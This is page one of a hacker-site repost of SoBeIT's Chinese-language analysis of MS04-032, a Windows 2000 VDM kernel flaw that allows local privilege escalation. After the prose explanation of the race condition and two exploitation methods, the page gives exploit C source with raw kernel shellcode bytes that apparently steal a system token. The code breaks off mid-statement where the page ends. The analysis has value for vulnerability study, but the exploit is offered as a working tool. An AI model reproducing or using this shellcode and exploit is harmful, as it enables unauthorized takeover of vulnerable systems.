| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文 用户登录 新用户注册
  MS04-032漏洞分析         ★★★ 【字体:
MS04-032漏洞分析
作者:未知    文章来源:CnXHacker.Net    点击数:    更新时间:2006-3-22    

信息来源:Whitecell技术论坛(www.whitecell.com)
文章作者:SoBeIT


    这个漏洞发生于内核处理VDM(Virtual DOS Maching)的过程中。VDM是微软为了兼容老式的16位MS-DOS程序而存在于Windows中的一个子系统,运行于V86模式下,模拟16位实模式环境。它由三个主要部分组成:

1、提供DOS环境模拟的代码,包括在系统目录下的ntdos*.sys和ntio*.sys等文件,并向虚拟机监控进程提交请求;

2、一个是在用户态的虚拟机监控进程ntvdm.exe,负责处理虚拟机里的绝大多数事件;

3、一个是内核(ntoskrnl.exe)中的部分,包括由控制进程调用的系统调用接口NtVdmControl及下层具体实现功能代码,负责DOS程序的初始化、执行、查询和延迟中断、查询文件等。和两个异常处理程序:第0x6号无效操作码异常处理程序和第0xd号一般保护错误异常处理程序,前者负责响应DOS环境模拟代码的请求并分派到监控进程中,后者处理DOS程序中的直接IN/OUT的IO,并分派到控制进程中。但有少数例外,就是DOS模拟代码提交的FastRead和FastWrite请求并不分派到控制进程中,而是由内核直接完成。

    NtVdmControl函数的调用参数为VdmStartExecution,也就是0时,就会向V86模式切换。通过调用VdmpStartExecution函数把要执行的V86代码的环境改写内核堆栈中的TrapFrame结构,这样在系统调用KiSystemService返回时并不会返回到NtVdmControl函数里,而是切换进了V86模式。

    DOS环境模拟代码通过一串无效的操作码\xc4\xc4\xXX\xXX,微软称为“BOP”,来传递请求到VDM进程里。传递过程由内核的第6号中断,也就是处理无效操作码的异常处理程序KiTrap06来完成。通过判断引发异常的操作码为“BOP”,内核会分派到虚拟机监控进程ntvdm.exe中。

    漏洞发生于异常处理程序KiTrap06分派运行于V86下的代码产生的“BOP”到监控进程ntvdm.exe的过程中。内核处理虚拟机控制的系统调用NtVdmControl的过程中,会把当前系统环境保存在ntvdm.exe的地址空间中保存线程信息的VDM_TIB结构中的CONTEXT结构里。该结构在Windows2000下位于EPROCESS(ntvdm.exe)->VdmObjects->VmTib->MonitorContext,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xa04),在其它Windows NT系列里位于fs:[0xf18]->MonitorContext,也就是(*(fs:[0xf18])+0xa04)。当“BOP”发生后,就会取出CONTEXT结构里保存的环境,返回到NtVdmControl函数,最后回到ntvdm.exe的用户态部分进行处理。但是因为任何进程都可以读写ntvdm.exe进程地址空间中保存的CONTEXT结构中的数据,而KiTrap06并未验证环境结构的有效性,导致可以修改保存在CONTEXT结构里的返回地址和代码段选择子,进而在内核态执行用户态提供的代码来进行本地提升权限。

    但是该漏洞的触发有点类似竞争条件,也就是NtVdmControl系统调用会修改保存的系统环境为正常值,而KiTrap06会取出环境并返回。所以必须在NtVdmControl之后KiTrap06之前修改系统环境。而NtVdmControl与KiTrap06的发生并不对等,所以这也就是利用难点。

    为了利用该漏洞,一种方法是暴力法,就是通过建立多个线程,每个线程都以最小间隔时间向该CONTEXT结构不断进行写入,并且降低ntvdm.exe的优先级以加大执行间隔,来保证改写CONTEXT结构在KiTrap06之前。但是因为前面说过的NtVdmControl改写该CONTEXT结构与触发“BOP”的KiTrap06不是对等的,正常时常常是N:1的关系,前者发生了N次后者才发生一次。这样系统的负载对exploit是否成功有很大的影响,也就是成功率并不算太高。

    但是,如果当KiTrap06的发生频率非常高时,exploit的成功率就能接近100%,如何提高KiTrap06的发生率,就是人为让V86虚拟机产生“BOP”。“BOP”在V86模式下才能触发,而进入V86模式就必须修改EFLAGS的VM位,该位只能在RING0下设置。但我们可以一个曲线的方法,ntvdm.exe的用户态地址空间中的VDM_TIB结构中还有另一个CONTEXT结构可以修改,就是EPROCESS->VdmObjects->VdmTib->Context,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xcd0),该结构中保存的是运行于V86模式下的代码的环境,修改它所保存的环境为一个“BOP”的地址。因为实模式下的寻址空间是1M,所以前面说的模拟DOS环境的代码都映射在了整个进程地址空间的开头。从0开始找,肯定能找到大量的“BOP”,只要不是FastRead和FastWrite的“BOP”,都满足条件。然后修改ntvdm.exe主线程的EIP,让它反复NtVmdContrl(StartExecution),就会不停切换进V86模式产生“BOP”,并触发KiTrap06,这时候保存V86模式环境的CONTEXT结构根本不会被改动,因为V86虚拟机除了反复在同一个地址“BOP”外啥都不能干。所以这时启动的暴力修改线程只要反复修改CONTEXT结构,基本都会成功。

    但是,除了暴力法外其实有个更加简单的方法,就是让监控进程ntvdm.exe的主线程直接执行ZwContinue函数切换进V86模式,并设置ZwContinue函数的参数PCONTEXT结构指针里的CS:EIP为一个“BOP”的地址即可。通过暂停该进程修改它的CONTEXT结构,这样主线程恢复执行后就会切换进V86模式执行“BOP”触发异常执行到KiTrap06,NtVdmControl函数没有被调用的机会,MonitorContext结构内容也就不会被修改,可以直接执行到提升权限的代码里。具体的可以参见上一段暴力法的实现。

exploit
CODE: /*
    MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit
                Created by SoBeIt

    Main file of exploit

    Tested on:

    Windows 2000 PRO SP4 Chinese
    Windows 2000 PRO SP4 English

    Usage:ms04-032.exe
*/

#include <stdio.h>
#include <windows.h>

unsigned char kfunctions[64][64] =
{
                                    //ntoskrnl.exe
    {"ZwOpenProcess"},
    {"ZwTerminateProcess"},
    {""},
};

unsigned char shellcode[] =
          "\x90\xe9\xff\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f\x90\xcc"
          "\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7\x04\xbe"
          "\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75"
          "\xf7\x95\x8b\xf7\x6a\x02\x59\xe8\x84\x00\x00\x00\xe2\xf9\xbb\x24"
          "\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8\x5a\x00"
          "\x00\x00\x8b\xd0\x8b\x4e\x08\xe8\x50\x00\x00\x00\x8b\x88\xc8\x01"
          "\x00\x00\xe8\x45\x00\x00\x00\x8b\x8a\x2c\x01\x00\x00\x89\x88\x2c"
          "\x01\x00\x00\x83\xec\x40\x8b\xec\x33\xc0\x8b\xfc\x6a\x10\x59\xab"
          "\xe2\xfd\x8b\x46\x08\x89\x44\x24\x10\x8d\x5d\x10\x53\x8d\x5d\x20"
          "\x53\x68\xff\x0f\x1f\x00\x8d\x5d\x00\x53\xff\x16\x8b\x5d\x00\x6a"
          "\x00\x53\xff\x56\x04\x33\xc0\x50\x50\xff\x56\x04\x8b\x80\xa0\x00"
          "\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00\x00\x75\xed\xc3"
          "\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03"
          "\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74"
          "\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e"
          "\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03"
          "\xc5\xab\x5e\x59\xc3\xe8\xfc\xfe\xff\xff\x90\x90\x90\x90\x90\x90"

          "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
          "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

unsigned char IntoV86[] =
          "\x90\x6a\x00\x68\x90\x90\x90\x90\x8b\xd4\xb8\x1c\x00\x00\x00\xcd"
          "\x2e\x83\xc4\x08\xeb\xea";

VOID ErrorQuit(char *msg)
{
    printf("%s\n", msg);
    ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
    ULONG ret = 0;

    while(*ch)
    {
          ret = ((ret << 25) | (ret >> 7)) + *ch++;
    }

    return ret;
}

int main(int argc, char *argv[])
{
    HANDLE           hFile, hFileMap;
    ULONG           FileSize, ImageSize, i, j, k;
    PVOID           pBase, pHeader;
    PULONG           pImageBase, pShellcode, pTemp;
    char           *pBuffer, *pReadBuffer, *pWriteBuffer;
    STARTUPINFO si;
  PROCESS_INFORMATION pi;
    ULONG           buf[20];
    CONTEXT           Context;
    PCONTEXT     pV86Context;
    PUCHAR           ptr;

    printf("\n MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit \n\n");
    printf("\t Create by SoBeIt. \n\n");
    if(argc != 1)
    {
          printf(" Usage:%s \n\n", argv[0]);
          ExitProcess(0);
    }

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

    pBuffer = malloc(64);
    pReadBuffer = malloc(64);
    pWriteBuffer = malloc(64);

    if((pBuffer == NULL) || (pReadBuffer == NULL) || (pWriteBuffer == NULL))
          ErrorQuit("malloc failed.\n");

    if(!GetSystemDirectory(pBuffer, 256))
          ErrorQuit("GetSystemDirectory failed.\n");

    strcat(pBuffer, "\\ntvdm.exe");
    hFile = CreateFile(pBuffer, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
          ErrorQuit("CreateFile failed.\n");

    if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
          ErrorQuit("GetFileSize failed.\n");

    if((hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, FileSize + sizeof(char), NULL)) == NULL)
          ErrorQuit("CreateFileMapping failed.\n");

    if((pBase = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, 0)) == NULL)
          ErrorQuit("MapViewOfFile failed.\n");

    pHeader = (char *)pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew;
    pImageBase = (PULONG)(((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.ImageBase);
    ImageSize = ((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.SizeOfImage;

    UnmapViewOfFile(pBase);
    CloseHandle(hFileMap);
    CloseHandle(hFile);

    if(!CreateProcess(NULL, "command.com", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
          ErrorQuit("CreateProcess failed.\n");

    Sleep(100);
    for(i = 0; i < ImageSize; i++)
    {
          if(!ReadProcessMemory(pi.hProcess, pImageBase + i, pReadBuffer, 12, NULL))          
                continue;

          pTemp = (PULONG)pReadBuffer;
          if(((*pTemp++) >> 28) != 0x7)
                continue;

          if(*pTemp++ != 0x

[1] [2] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    MSN视频暗藏杀机 微软补丁忙
    MSSQL数据库SA权限入侵的感悟
    MSN Space大赛官方网站入侵经
    瑞星公司09月04日发布 每日计
    Thomson SpeedTouch 2030 SI
    “MSN性感相册”病毒变种多达
    机构数据: QQ市场占有率为M
    微软携安全厂商建统一战线 M
    QQ和MSN成传播病毒重要渠道
    通过MSN传播的IRCBot msnmsg
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.